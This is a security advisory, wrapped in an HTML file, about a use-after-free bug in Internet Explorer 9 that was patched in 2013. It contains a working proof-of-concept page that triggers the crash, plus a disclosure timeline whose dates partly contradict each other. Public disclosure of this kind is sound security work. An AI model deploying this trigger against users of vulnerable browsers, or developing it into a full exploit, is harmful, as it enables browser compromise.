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<!--
Source: http://blog.skylined.nl/20161216001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of BugId below.
Repro.html:
-->
<!DOCTYPE html>
<html>
<head>
<script defer>
var oElement = document.getElementById("ruby");
var oElement = oElement.parentNode.removeChild(oElement);
document.write("<abbr></abbr>");
document.documentElement.offsetTop;
setTimeout("location.reload()", 100);
</script>
</head>
<body>
<abbr dir="ltr">
<ruby id="ruby" dir="rtl">
</ruby>
</abbr>
</body>
</html>
<!--
Time-line
Sometime in October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
27 November 2013: This vulnerability was rejected by EIP.
14 January 2013: This vulnerability was submitted to ZDI.
6 February 2013: This vulnerability was acquired by ZDI.
13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: This vulnerability was address by Microsoft in MS13-021.
16 December 2016: Details of this vulnerability are released.
-->
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